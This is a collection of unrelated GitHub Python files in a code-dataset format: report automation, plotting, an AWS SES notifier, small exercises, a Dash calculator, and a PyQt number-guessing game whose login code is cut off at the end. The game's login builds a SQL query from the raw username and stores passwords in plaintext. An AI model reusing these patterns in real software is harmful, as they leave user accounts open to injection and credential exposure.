shutil.move('/home/gmclaughlin/Downloads/Detail Report - Basic.pdf','/home/gmclaughlin/Python/Safety Project/Other/%s/%s-Detail Report.pdf' % (projectName, projectName))\n\nfinsihedFlag = False\naddValue = 0\ncounter = 0\nfor cellObj in sheet['A']:\n    if cellObj.value != 'Project' and cellObj.value != 'JDC-Winchester HS Enabling (CONSIG':\n\n        linkElem = browser.find_element_by_name('clear') #clear existing settings\n        linkElem.click()\n        time.sleep(4)\n\n        linkElem = browser.find_element_by_name('showSafeAndUnsafeDetails') #select all reports\n        linkElem.click()\n        time.sleep(1)\n\n        linkElem = browser.find_element_by_name('showImages') #show images in reports\n        linkElem.click()\n        time.sleep(1)\n\n        linkElem = browser.find_element_by_name('datePickerRadio')\n        linkElem.click()\n        time.sleep(1)\n\n        projectElem = browser.find_elements_by_xpath(\"//input[@type='text']\") #find and use text fields\n        print(cellObj.value)\n        #projectElem = browser.find_element_by_xpath(\"//input[4]\")\n        #time.sleep(2)\n        #projectElem[5+addValue].clear()\n        projectElem[5+addValue].send_keys('01/01/2010')\n        time.sleep(1)\n        #projectElem[6+addValue].clear()\n        projectElem[6+addValue].send_keys('08/15/2017')\n        time.sleep(1)\n        projectElem[8+addValue].clear()                   #this is the project name box\n        projectElem[8+addValue].send_keys(cellObj.value)\n        time.sleep(1)\n        projectElem[8+addValue].send_keys(Keys.ENTER)\n        time.sleep(3)\n\n        linkElem = browser.find_element_by_xpath(\"//input[@type='submit']\") #submit request for report\n        linkElem.click()\n        time.sleep(10)\n\n        linkElem = browser.find_element_by_name('pdf') #download as PDF\n        linkElem.click()\n        time.sleep(70)\n        addValue = 1\n\n        pdfToFolder(cellObj.value)\n\n    counter = counter + 1\n","repo_name":"MrGarrett45/OrganizeReports","sub_path":"downloadReports.py","file_name":"downloadReports.py","file_ext":"py","file_size_in_byte":3740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"9426965524","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nplt.style.use('fivethirtyeight')\n\n\n\nfile1 = pd.read_csv(\"tout.csv\", sep=';', decimal=',') # for files\nfile2 = pd.read_csv(\"yout.csv\", sep=';', decimal=',')\n\nx = file1.iloc[:,0]\ny1, y2 = file2.iloc[:,0], file2.iloc[:,1]\n\nplt.plot(x, y1, linewidth=1, label='Predkość [m/s]') #plotting\nplt.plot(x, y2, linewidth=1, label='Przyspieszenie [m2/s]')\nplt.xlabel(\"Czas [s]\")\nplt.legend(loc='best')\n\nplt.show()","repo_name":"KrzysiekJa/Optimalizations-labs-2020","sub_path":"plotting_script.py","file_name":"plotting_script.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40947869132","text":"\"\"\"\n-*- coding: utf-8 -*-\n========================\nAWS Lambda\n========================\nContributor: Chirag Rathod (Srce Cde)\n========================\n\"\"\"\nimport json\nimport boto3\n\n\ndef lambda_handler(event, context):\n\n    for i in event[\"Records\"]:\n        action = i[\"eventName\"]\n        ip = i[\"requestParameters\"][\"sourceIPAddress\"]\n        bucket_name = i[\"s3\"][\"bucket\"][\"name\"]\n        object = i[\"s3\"][\"object\"][\"key\"]\n\n    client = boto3.client(\"ses\")\n\n    subject = str(action) + \"Event from \" + bucket_name\n    body = \"\"\"\n        <br>\n        This email is to notify you regarding {} event.\n        The object {} is deleted.\n        Source IP: {}\n    \"\"\".format(\n        action, object, ip\n    )\n\n    message = {\"Subject\": {\"Data\": subject}, \"Body\": {\"Html\": {\"Data\": body}}}\n\n    response = client.send_email(\n        Source=\"sender-email\",\n        Destination={\"ToAddresses\": [\"to-address\"]},\n        Message=message,\n    )\n\n    return \"Thanks\"\n","repo_name":"srcecde/aws-tutorial-code","sub_path":"lambda/lambda_s3_event_ses_email.py","file_name":"lambda_s3_event_ses_email.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":192,"dataset":"github-code","pt":"22"}
+{"seq_id":"10075134393","text":"# -*- coding: utf-8 -*-\n\nop = input()\n\ntotal = 0\npos = 144\nfor i in range(pos):\n    value = float(input())\n    line = i // 12\n    col = i % 12\n    if line < 5 and (col <= 5 and col > line or col >= 6 and col + line <= 10):\n        total += value\n\n\nif op == 'M':\n    total /= 30\nprint(\"%.1f\" % total)\n","repo_name":"luam0oliveira/competitive_programming","sub_path":"beecrowd/1187.py","file_name":"1187.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39430980819","text":"def arr(nums):\n    even = []\n    odd = []\n    for i in nums:\n        if i % 2 == 0:\n           even.append(i)\n        else:\n           odd.append(i)\n    return even + odd\nnums = [1,4,2,7,3]\nprint(arr(nums))\n","repo_name":"mariamzhamakochyan/Anaconda-SpecOps-Training","sub_path":"Day_4/parity_sort.py","file_name":"parity_sort.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24948550664","text":"\"\"\"\r\nhttps://www.youtube.com/watch?v=XZ2G29ZUaII&index=27&list=PL6lxxT7IdTxGoHfouzEK-dFcwr_QClME_\r\n\r\nProduce a GUI using python an tkinter thas has three buttons and a label. Arrange for the clicking of a button\r\nto set the background colour of the label to red, gren and blue\r\n\r\ni.e. clicking one button changes the bakcground of the label to red, clicking the second button changes it to\r\ngreen and clicking the third button changes it to blue.\r\n\r\nWhe the program furst runs have the background of the label set at white. Have nothing displayed in the label\r\nand have the text of the buttons display Red, Gren an Blue respectively.\r\n\"\"\"\r\nfrom tkinter import *\r\n\r\ndef set_red():\r\n    label_1['bg']='red'\r\n\r\ndef set_green():\r\n    label_1['bg']='green'\r\n\r\ndef set_blue():\r\n    label_1['bg']='blue'\r\n\r\nmy_window = Tk()\r\n\r\nlabel_1 = Label(my_window, width='20', height='3', background='white')\r\nbutton_red = Button(my_window, text='Red', width=6, command=set_red)\r\nbutton_green = Button(my_window, text='Green', width=6, command=set_green)\r\nbutton_blue = Button(my_window, text='Blue', width=6, command=set_blue)\r\n\r\nlabel_1.grid(row=0, column=1)\r\nbutton_red.grid(row=1, column=0)\r\nbutton_green.grid(row=1, column=1)\r\nbutton_blue.grid(row=1, column=2)\r\n\r\nmy_window.mainloop()\r\n","repo_name":"albertogcmr/gui-tkinter-examples","sub_path":"21-exercise.py","file_name":"21-exercise.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34751725735","text":"\"\"\"\nPlotting utilities for graph optimization.\n\"\"\"\n\nfrom typing import *\n\nimport numpy as np\nfrom g2o import Quaternion, SE3Quat\nfrom matplotlib import pyplot as plt, cm\n\nfrom . import graph_opt_utils, transform_utils\nfrom map_processing.data_models import OG2oOptimizer\n\n\ndef plot_metrics(sweep: np.ndarray, metrics: np.ndarray, log_sweep: bool = False, log_metric: bool = False):\n    sweep_plot = np.log(sweep) if log_sweep else sweep\n    to_plot = np.log(metrics) if log_metric else metrics\n    fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"})\n    surf = ax.plot_surface(sweep_plot, sweep_plot.transpose(), to_plot, cmap=cm.get_cmap('viridis'))\n    ax.set_xlabel('Pose:Orientation')\n    ax.set_ylabel('Odom:Tag')\n    ax.set_zlabel('Metric')\n    fig.colorbar(surf)\n    plt.show()\n\n\ndef plot_optimization_result(\n        locations: np.ndarray,\n        prior_locations: np.ndarray,\n        tag_verts: np.ndarray,\n        tagpoint_positions: np.ndarray,\n        waypoint_verts: Tuple[List, np.ndarray],\n        original_tag_verts: Optional[np.ndarray] = None,\n        ground_truth_tags: Optional[np.ndarray] = None,\n        plot_title: Union[str, None] = None,\n        is_sba: bool = False\n) -> None:\n    \"\"\"Visualization used during the optimization routine.\n    \"\"\"\n    f = plt.figure()\n    ax = f.add_axes([0.1, 0.1, 0.6, 0.75], projection=\"3d\")\n    ax.set_xlabel(\"X\")\n    ax.set_ylabel(\"Y\")\n    ax.set_zlabel(\"Z\")\n    ax.view_init(120, -90)\n\n    plt.plot(prior_locations[:, 0], prior_locations[:, 1], prior_locations[:, 2], \"-\", c=\"g\",\n             label=\"Prior Odom Vertices\")\n    plt.plot(locations[:, 0], locations[:, 1], locations[:, 2], \"-\", c=\"b\", label=\"Odom Vertices\")\n\n    if original_tag_verts is not None:\n        original_tag_verts = np.array(original_tag_verts)  # Copy to avoid modifying input\n        if is_sba:\n            transform_utils.apply_z_translation_to_lhs_of_se3_vectors(original_tag_verts)\n        plt.plot(original_tag_verts[:, 0], original_tag_verts[:, 1], original_tag_verts[:, 2], \"o\", c=\"c\",\n                 label=\"Tag Vertices Original\")\n\n    # Fix the 1-meter offset on the tag anchors\n    if is_sba:\n        tag_verts = np.array(tag_verts)  # Copy to avoid modifying input\n        transform_utils.apply_z_translation_to_lhs_of_se3_vectors(tag_verts)\n\n    if ground_truth_tags is not None:\n        # noinspection PyTypeChecker\n        tag_list: List = tag_verts.tolist()\n        tag_list.sort(key=lambda x: x[-1])\n        ordered_tags = np.asarray([tag[0:-1] for tag in tag_list])\n\n        anchor_tag = 0\n        anchor_tag_se3quat = SE3Quat(ordered_tags[anchor_tag])\n        to_world = anchor_tag_se3quat * ground_truth_tags[anchor_tag].inverse()\n        world_frame_ground_truth = np.asarray([(to_world * tag).to_vector() for tag in ground_truth_tags])\n        print(\"\\nAverage translation difference:\", graph_opt_utils.ground_truth_metric(ordered_tags, ground_truth_tags,\n                                                                                       True))\n        plt.plot(world_frame_ground_truth[:, 0], world_frame_ground_truth[:, 1], world_frame_ground_truth[:, 2],\n                 'o', c='k', label=f'Actual Tags')\n        for i, tag in enumerate(world_frame_ground_truth):\n            ax.text(tag[0], tag[1], tag[2], str(i), c='k')\n\n    plt.plot(tag_verts[:, 0], tag_verts[:, 1], tag_verts[:, 2], \"o\", c=\"r\", label=\"Tag Vertices\")\n    for tag_vert in tag_verts:\n        R = Quaternion(tag_vert[3:-1]).rotation_matrix()\n        axis_to_color = [\"r\", \"g\", \"b\"]\n        for axis_id in range(3):\n            ax.quiver(tag_vert[0], tag_vert[1], tag_vert[2], R[0, axis_id], R[1, axis_id],\n                      R[2, axis_id], length=1, color=axis_to_color[axis_id])\n\n    plt.plot(tagpoint_positions[:, 0], tagpoint_positions[:, 1], tagpoint_positions[:, 2], \".\", c=\"m\",\n             label=\"Tag Corners\")\n\n    for vert in tag_verts:\n        ax.text(vert[0], vert[1], vert[2], str(int(vert[-1])), color=\"black\")\n\n    plt.plot(waypoint_verts[1][:, 0], waypoint_verts[1][:, 1], waypoint_verts[1][:, 2], \"o\", c=\"y\",\n             label=\"Waypoint Vertices\")\n    for vert_idx in range(len(waypoint_verts[0])):\n        vert = waypoint_verts[1][vert_idx]\n        waypoint_name = waypoint_verts[0][vert_idx][\"name\"]\n        ax.text(vert[0], vert[1], vert[2], waypoint_name, color=\"black\")\n\n    # Archive of plotting commands:\n    # plt.plot(all_tags[:, 0], all_tags[:, 1], all_tags[:, 2], '.', c='g', label='All Tag Edges')\n    # plt.plot(all_tags_original[:, 0], all_tags_original[:, 1], all_tags_original[:, 2], '.', c='m',\n    #          label='All Tag Edges Original')\n    # all_tags = graph_utils.get_tags_all_position_estimate(graph)\n    # tag_edge_std_dev_before_and_after = compare_std_dev(all_tags, all_tags_original)\n    # tag_vertex_shift = original_tag_verts - tag_verts\n    # print(\"tag_vertex_shift\", tag_vertex_shift)\n\n    plt.legend(bbox_to_anchor=(1.05, 1), loc=\"upper left\", fontsize=\"small\")\n    axis_equal(ax)\n    plt.gcf().set_dpi(300)\n    if isinstance(plot_title, str):\n        plt.title(plot_title, wrap=True)\n    plt.show()\n\n\ndef axis_equal(ax: plt.Axes):\n    \"\"\"Create cubic bounding box to simulate equal aspect ratio\n\n    Args:\n        ax: Matplotlib Axes object\n    \"\"\"\n    axis_range_from_limits = lambda limits: limits[1] - limits[0]\n    max_range = np.max(np.array([axis_range_from_limits(ax.get_xlim()), axis_range_from_limits(ax.get_ylim()),\n                                 axis_range_from_limits(ax.get_zlim())]))\n    Xb = 0.5 * max_range * np.mgrid[-1:2:2, -1:2:2, -1:2:2][0].flatten() + 0.5 * \\\n        (ax.get_xlim()[1] + ax.get_xlim()[0])\n    Yb = 0.5 * max_range * np.mgrid[-1:2:2, -1:2:2, -1:2:2][1].flatten() + 0.5 * \\\n        (ax.get_ylim()[1] + ax.get_ylim()[0])\n    Zb = 0.5 * max_range * np.mgrid[-1:2:2, -1:2:2, -1:2:2][2].flatten() + 0.5 * \\\n        (ax.get_zlim()[1] + ax.get_zlim()[0])\n\n    # Comment or uncomment following both lines to test the fake bounding box:\n    for xb, yb, zb in zip(Xb, Yb, Zb):\n        ax.plot([xb], [yb], [zb], \"w\")\n\n\ndef plot_adj_chi2(map_from_opt: OG2oOptimizer, plot_title: Union[str, None] = None) -> None:\n    \"\"\"TODO: Documentation\n\n    Args:\n        map_from_opt:\n        plot_title:\n    \"\"\"\n    locations_chi2_viz_tags = []\n    locations_shape = np.shape(map_from_opt.locations)\n    for i in range(locations_shape[0]):\n        locations_chi2_viz_tags.append((map_from_opt.locations[i], map_from_opt.locationsAdjChi2[i],\n                                        map_from_opt.visibleTagsCount[i]))\n    locations_chi2_viz_tags.sort(key=lambda x: x[0][7])  # Sorts by UID, which is at the 7th index\n\n    chi2_values = np.zeros([locations_shape[0], 1])  # Contains adjacent chi2 values\n    viz_tags = np.zeros([locations_shape[0], 3])\n    odom_uids = np.zeros([locations_shape[0], 1])  # Contains UIDs\n    for idx in range(locations_shape[0]):\n        chi2_values[idx] = locations_chi2_viz_tags[idx][1]\n        odom_uids[idx] = int(locations_chi2_viz_tags[idx][0][7])\n\n        # Each row: UID, chi2_value, and num. viz. tags (only if != 0). As of now, the number of visible tags is\n        # ignored when plotting (plot only shows boolean value: whether at least 1 tag vertex is visible)\n        num_tag_verts = locations_chi2_viz_tags[idx][2]\n        if num_tag_verts != 0:\n            viz_tags[idx, :] = np.array([odom_uids[idx], chi2_values[idx], num_tag_verts]).flatten()\n\n    odom_uids.flatten()\n    chi2_values.flatten()\n\n    f = plt.figure()\n    ax: plt.Axes = f.add_axes([0.1, 0.1, 0.8, 0.7])\n    ax.plot(odom_uids, chi2_values)\n    ax.scatter(viz_tags[:, 0], viz_tags[:, 1], marker=\"o\", color=\"red\")\n    ax.set_xlim(min(odom_uids), max(odom_uids))\n    ax.legend([\"chi2 value\", \">=1 tag vertex visible\"])\n    ax.set_xlabel(\"Odometry vertex UID\")\n\n    plt.xlabel(\"Odometry vertex UID\")\n    if plot_title is not None:\n        plt.title(plot_title, wrap=True)\n    plt.show()\n","repo_name":"raiyansiddique/invisible-map-generation","sub_path":"map_processing/graph_opt_plot_utils.py","file_name":"graph_opt_plot_utils.py","file_ext":"py","file_size_in_byte":7908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"23119299466","text":"\"\"\"\nAuthor:         Chris Unice\nDescription:    This script controls building and launching the app. All function callbacks\n                are contained in this file\n\"\"\"\n# --- Import ---\nimport locale\nimport numpy as np\nfrom datetime import datetime\n\nimport dash\nfrom dash.dependencies import Output, Input, State\n\nfrom lib import layouts, functions\n\n\n# --- Application set up ---\napp = dash.Dash(\"LODAT\")\napp.layout = layouts.main_layout()\n\nlocale.setlocale(locale.LC_ALL, '')\napp_launch_time = datetime.timestamp(datetime.now())\n\n\n# --- Callbacks ---\n@app.callback(\n    [\n        Output('purchase-price', 'children'),\n        Output('down-payment', 'children'),\n        Output('principle-interest', 'children'),\n        Output('hoa-output', 'children'),\n        Output('home-insurance', 'children'),\n        Output('property-tax', 'children'),\n        Output('mortgage', 'children'),\n        Output('cap-ex', 'children'),\n        Output('vacancy', 'children'),\n        Output('property-mgt', 'children'),\n        Output('profit-margin', 'children'),\n        Output('required-rent-amount', 'children'),\n    ],  # outputs\n    [\n        Input('calculate-button', 'n_clicks_timestamp'),\n        Input('reset-button', 'n_clicks_timestamp')\n    ],  # inputs\n    [\n        State('capital', 'value'),\n        State('loan-apr', 'value'),\n        State('hoa-input', 'value'),\n        State('property-tax-rate', 'value'),\n        State('cap-ex-rate', 'value'),\n        State('vacancy-rate', 'value'),\n        State('property-mgt-rate', 'value'),\n        State('desired-profit', 'value'),\n        State('desired-profit-radio-items', 'value')\n    ]   # states\n)\ndef calculate_button_event(calculate_timestamp, reset_timestamp, capital, apr, hoa, tax_rate,\n                           cap_rate, vac_rate, mgt_rate, profit, profit_type):\n    # Do nothing if no button has been pushed\n    if calculate_timestamp is None and reset_timestamp is None:\n        raise dash.exceptions.PreventUpdate\n    # Do nothing if there aren't any inputs\n    elif None in [capital, apr, hoa, tax_rate, cap_rate, vac_rate, mgt_rate, profit]:\n        raise dash.exceptions.PreventUpdate\n    # Calculate button has been pushed & Reset button has not\n    elif calculate_timestamp is None and reset_timestamp is not None:\n        calculate_timestamp = app_launch_time\n    # Reset button has been pushed & Calculate button has not\n    elif reset_timestamp is None and calculate_timestamp is not None:\n        reset_timestamp = app_launch_time\n    # Both buttons have been pushed at least once\n    elif np.isscalar(calculate_timestamp) and np.isscalar(reset_timestamp):\n        pass\n    # Catch all\n    else:\n        raise ValueError('Unhandled button properties {} and {}'.format(calculate_timestamp, reset_timestamp))\n\n    # Calculate button was pushed last\n    if calculate_timestamp > reset_timestamp:\n        if profit_type == '%':\n            profit_is_percent = True\n        else:\n            profit_is_percent = False\n        breakdown = functions.Breakdown(capital, apr, hoa, tax_rate, cap_rate,\n                                        vac_rate, mgt_rate, profit, profit_is_percent)\n        results = list(map(\n            lambda x: locale.currency(x, grouping=True),\n            [breakdown.purchase_price, breakdown.down_payment, breakdown.principle_interest,\n             breakdown.hoa, breakdown.home_insurance, breakdown.property_tax, breakdown.mortgage,\n             breakdown.cap_ex, breakdown.vacancy, breakdown.property_mgt, breakdown.profit_margin,\n             breakdown.required_rent]\n        ))\n        return results\n    # Reset button was pushed last\n    elif reset_timestamp > calculate_timestamp:\n        return ['_'*10 for i in range(12)]\n\n\n@app.callback(\n    [\n        Output('capital', 'value'),\n        Output('loan-apr', 'value'),\n        Output('hoa-input', 'value'),\n        Output('property-tax-rate', 'value'),\n        Output('cap-ex-rate', 'value'),\n        Output('vacancy-rate', 'value'),\n        Output('property-mgt-rate', 'value'),\n        Output('desired-profit', 'value'),\n        Output('calculate-button', 'n_clicks'),\n        Output('desired-profit-radio-items', 'value')\n    ],  # outputs\n    [Input('reset-button', 'n_clicks')]\n)\ndef reset_button_event(n_clicks):\n    if n_clicks is None:\n        raise dash.exceptions.PreventUpdate\n    else:\n        return ['' for i in range(8)] + [0, '$']\n\n\n# --- Main ---\nif __name__ == \"__main__\":\n    app.run_server(\n        debug=True,\n        dev_tools_hot_reload=True,\n        dev_tools_hot_reload_interval=0.1,\n        dev_tools_hot_reload_watch_interval=0.1\n    )\n# end file\n","repo_name":"chrisunice/PropertyCalculator","sub_path":"calculator/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5498632005","text":"import pandas as pd\r\nimport sys\r\nimport my_functions as mf\r\nimport matplotlib as mpl\r\n\r\n# no displaying on screen, only saving the plots to file\r\nmpl.use('Agg')\r\n\r\n# Scaling\r\ndataset_level = \"DL\"\r\nwindow_level = \"WL\"\r\n\r\n# Hyperparameters\r\nsliding_windows = [8, 16, 32]\r\nepochs = [50, 100]\r\nbatches = [60, 1440, 10080]\r\n\r\nx_train, x_test, y_train, y_test = mf.preprocess_and_split_data()\r\n\r\n\r\n\r\n#sliding_windows = [8]  # 10, 16\r\n#epochs = [10]\r\n#batches = [64]\r\n\r\n\r\n\r\ndef run(model_number=\"1\"):\r\n    model_number = sys.argv[1]\r\n\r\n    path, pred_path = mf.create_path(model_number)\r\n\r\n    # Evaluate with dataset level scaling\r\n    dl_scores, dl_predictions, dl_duration_time = mf.evaluate_model(sliding_windows, epochs, batches, model_number=model_number, data_scaling=dataset_level,\r\n                                                                 path=path)\r\n\r\n    # Save results to file\r\n    mf.save_results(dl_scores, dl_predictions, dl_duration_time, path, data_scaling=dataset_level)\r\n\r\n    # Plot predictions and save to file\r\n    mf.plot_predictions(dl_predictions, y_test, pred_path, dataset_level)\r\n\r\n    # Evaluate with window level scaling\r\n    wl_scores, wl_predictions, wl_duration_time = mf.evaluate_model(sliding_windows, epochs, batches, model_number=model_number, data_scaling=window_level,\r\n                                                                 path=path)\r\n    # Save results to file\r\n    mf.save_results(wl_scores, wl_predictions, wl_duration_time, path, data_scaling=window_level)\r\n\r\n    # Plot predictions and save to file\r\n    mf.plot_predictions(wl_predictions, y_test, pred_path, window_level)\r\n\r\n    # Table for result comparison\r\n    df_compare = pd.merge(dl_scores, wl_scores, on=['SW', 'Epoch', 'Batches'], how=\"left\", suffixes=(\"_DL\", \"_WL\"))\r\n    df_compare = df_compare.reindex(\r\n        columns=['SW', 'Epoch', 'Batches', 'RMSE_DL', 'RMSE_WL'])\r\n\r\n    # Save results to file\r\n    df_compare.to_csv(path + \"/overall_score_comparison.csv\")\r\n\r\n\r\nrun()\r\n\r\n\r\n# Plot history and future\r\n# mf.plot_multistep(y_train, y_pred, y_test[:len_])\r\n","repo_name":"whyrutaken/r-and-d","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22563010156","text":"import sqlite3\nimport os\nimport random as rnd\nimport time\n\nfrom PyQt5.QtGui import QIntValidator\nfrom PyQt5.uic import loadUi\nfrom PyQt5.QtWidgets import QDialog, QApplication, QStackedWidget, QTableWidgetItem, QHeaderView\n\ndef resource_path(relative):\n    if hasattr(sys, \"_MEIPASS\"):\n        return os.path.join(sys._MEIPASS, relative)\n    return os.path.join(relative)\n\nclass MainWindow(QDialog):\n    currentSessionName = \"\"\n\n    def __init__(self):\n        super(MainWindow, self).__init__()\n        path = resource_path('login_screen.ui')\n        #filename = 'login_screen.ui'\n        loadUi(path, self)\n        self.signup_btn.clicked.connect(self.openSignUpScreen)\n        self.login_btn.clicked.connect(self.login)\n\n    def login(self):  # Функция кнопки Войти\n        username = self.usernameField.text()\n        password = self.passwordField.text()\n\n        if len(username) == 0 or len(password) == 0:\n            self.error_label.setText(\"Введите значения!\")\n            print(\"Введите значения!\")\n        else:\n            path = resource_path('users_db.db')\n            con = sqlite3.connect(path)\n            cur = con.cursor()\n\n            try:\n                cur.execute(\"SELECT password FROM users WHERE username = '%s'\" % username)\n                result = cur.fetchone()[0]\n                if password == result:\n                    self.currentSessionName = username\n                    gameMenuScreen.username_label.setText(\"Угадай число, {}\".format(username))\n                    print(self.currentSessionName)\n                    self.error_label.setText(\"\")\n                    print(\"Вы успешно зашли!\")\n                    con.close()\n                    self.openGameMenuScreen()  # Переход в основное меню игры\n                else:\n                    self.error_label.setText(\"Вы ввели неверный пароль!\")\n                    print(\"Вы ввели неверный пароль\")\n\n            except TypeError:\n                self.error_label.setText(\"Вы ввели несущствующее имя пользователя!\")\n                print(\"Вы ввели несущствующее имя пользователя\")\n                con.close()\n\n    def openSignUpScreen(self):\n        widget.setCurrentIndex(1)\n\n    def openGameMenuScreen(self):\n        widget.setCurrentIndex(2)\n\n\nclass SignupScreen(QDialog):\n    def __init__(self):\n        super(SignupScreen, self).__init__()\n        path = resource_path('signup_screen.ui')\n        loadUi(path, self)\n        self.signup_btn_2.clicked.connect(self.signUp)\n        self.back_btn.clicked.connect(self.backBtn)\n\n    def backBtn(self):\n        widget.setCurrentIndex(0)\n\n    def signUp(self):  # Функция кнопка Зарегистрироваться\n        username = self.usernameField_2.text()\n        password = self.passwordField_2.text()\n\n        if len(username) == 0 or len(password) == 0:\n            self.error_label_2.setText(\"Введите значения!\")\n            print(\"Введите значения!\")\n        else:\n            path = resource_path('users_db.db')\n            con = sqlite3.connect(path)\n            cur = con.cursor()\n\n            try:\n                cur.execute(\"INSERT INTO users VALUES (?, ?)\", (username, password))\n                cur.execute(\"INSERT INTO leaderboard VALUES (?, ?, ?)\", (username, 0, 0))\n\n                '''for row in cur.execute('SELECT * FROM users ORDER BY username'):\n                    print(row)\n                for row in cur.execute('SELECT * FROM liderboard ORDER BY username'):\n                    print(row)\n                    '''\n                con.commit()\n                con.close()\n                widget.setCurrentIndex(widget.currentIndex() - 1)\n                mainwindow.error_label.setText(\"Вы успешно зарегистрировались!\")\n\n            except sqlite3.IntegrityError:\n                print(\"Данное имя пользователя уже используется!\")\n                self.error_label_2.setText(\"Вы ввели сущствующее имя пользователя!\")\n\n\nclass GameMenu(QDialog):\n    def __init__(self):\n        super(GameMenu, self).__init__()\n        path = resource_path('gamemenu_screen.ui')\n        loadUi(path, self)\n        self.logout_bth.clicked.connect(self.logout)\n        self.startGame_btn.clicked.connect(self.openGameScreen)\n        self.liderboard_btn.clicked.connect(self.openLeaderboardScreen)\n\n    def logout(self):\n        widget.setCurrentIndex(0)\n        mainwindow.currentSessionName = \"\"\n\n    def openGameScreen(self):\n        widget.setCurrentIndex(3)\n\n    def openLeaderboardScreen(self):\n        leaderboardScreen.makeTable()\n        widget.setCurrentIndex(4)\n\n\nclass GameScreen(QDialog):\n    n_attempts = 0\n    attempt = 0\n    num = 0\n    lowBorder = 0\n    topBorder = 0\n\n    def __init__(self):\n        super(GameScreen, self).__init__()\n        path = resource_path('game_screen.ui')\n        loadUi(path, self)\n        self.startGame_btn_2.clicked.connect(self.startGame)\n        self.exitGame_btn.clicked.connect(self.exitGame)\n        self.answer_btn.setEnabled(False)\n        self.answer_line.setEnabled(False)\n        self.answer_btn.clicked.connect(self.answer)\n        self.textBrowser.setText(\"Введите диапазон чисел и нажмите \\\"Начать игру\\\"\")\n\n    def startGame(self):\n        a = self.spinBox_left.text()  # нижняя граница\n        self.lowBorder = int(a)\n        b = self.spinBox_right.text()\n        self.topBorder = int(b)  # вернхяя граница\n\n        if self.lowBorder < self.topBorder:\n            self.answer_line.setMaxLength(len(self.spinBox_right.text()))\n            self.num = rnd.randint(self.lowBorder, self.topBorder)\n            validator = QIntValidator(self.lowBorder, self.topBorder)\n        else:\n            print(\"Нижняя грацица больше верхней\")\n            #self.answer_line.setMaxLength(len(self.spinBox_left.text()))\n            self.num = rnd.randint(self.topBorder, self.lowBorder)\n            validator = QIntValidator(self.topBorder, self.lowBorder)\n\n        if (abs(self.topBorder - self.lowBorder) + 1) >= 5:\n            self.spinBox_left.setEnabled(False)\n            self.spinBox_right.setEnabled(False)\n            self.textBrowser.clear()\n            self.startGame_btn_2.setEnabled(False)\n            self.answer_btn.setEnabled(True)\n            self.answer_line.setEnabled(True)\n            self.textBrowser.append(\"Игра началась. Угадайте число.\")\n            print(mainwindow.currentSessionName)\n            self.answer_line.setValidator(validator)\n            #self.answer_line.setMinLength(len(self.spinBox_left.text()))\n\n            self.n_attempts = 5\n            print(self.lowBorder)\n            print(self.topBorder)\n            print(self.num)\n            self.attempt = 1\n        else:\n            self.textBrowser.append(\"Диапазон чисел должен не менее 5\")\n\n    def answer(self):\n        if self.attempt <= self.n_attempts:\n            if self.answer_line.text() != \"\":\n                answer = self.answer_line.text()\n                n = int(answer)\n                if n < self.num:\n                    print(\"Заданное число меньше\")\n                    self.textBrowser.append(\"Число {} меньше загаданного\".format(n))\n                    attempt = self.n_attempts - self.attempt\n                    self.attempts_label.setText(\"Попыток: <strong>{}</strong>\".format(attempt))\n                    self.attempt += 1\n                elif n > self.num:\n                    print(\"Заданное число больше\")\n                    self.textBrowser.append(\"Число {} больше загаданного\".format(n))\n                    attempt = self.n_attempts - self.attempt\n                    self.attempts_label.setText(\"Попыток: <strong>{}</strong>\".format(attempt))\n                    self.attempt += 1\n                else:\n                    print(\"Вы угадали. Игра закончена\")\n                    self.textBrowser.append(\"Вы угадали. Игра окончена. Вы можете начать новую игру\")\n                    self.game_over()\n            else:\n                self.textBrowser.append(\"Введите число!\")\n\n        else:\n            print(\"Попытки закончились. Игра закончена\")\n            self.textBrowser.append(\"Попытки закончились. Игра окончена. Вы м��жете начать новую игру\")\n            self.game_over()\n\n    def game_over(self):\n        self.scores()\n        self.attempts_label.setText(\"Попыток: <strong>5</strong>\")\n        self.spinBox_left.setEnabled(True)\n        self.spinBox_right.setEnabled(True)\n        self.startGame_btn_2.setEnabled(True)\n        self.answer_btn.setEnabled(False)\n        self.answer_line.setEnabled(False)\n        self.attempt = 1\n        self.n_attempts = 5\n        self.lowBorder = 0\n        self.topBorder = 0\n        self.num = 0\n\n    def scores(self):\n        print(mainwindow.currentSessionName)\n        path = resource_path('users_db.db')\n        con = sqlite3.connect(path)\n        cur = con.cursor()\n\n        radius = (self.topBorder - self.lowBorder) + 1\n        score = 100 * (radius / self.attempt)\n        print(score)\n        self.textBrowser.append(\"Вы заработали {} очков\".format(score))\n\n        cur.execute(\"UPDATE leaderboard SET Score=Score + ?, games=games + 1 WHERE username = ?\",\n                    (score, mainwindow.currentSessionName))\n        con.commit()\n        con.close()\n\n\n    def exitGame(self):\n        widget.setCurrentIndex(2)\n\n\nclass LeaderboardScreen(QDialog):\n    def __init__(self):\n        super(LeaderboardScreen, self).__init__()\n        path = resource_path('leaderboard_screen.ui')\n        loadUi(path, self)\n        self.back2_btn.clicked.connect(self.backBtn)\n        widget.resize(793, 100)\n\n    def backBtn(self):\n        widget.setCurrentIndex(2)\n\n    def makeTable(self):\n        self.tableWidget.setRowCount(0)\n        path = resource_path('users_db.db')\n        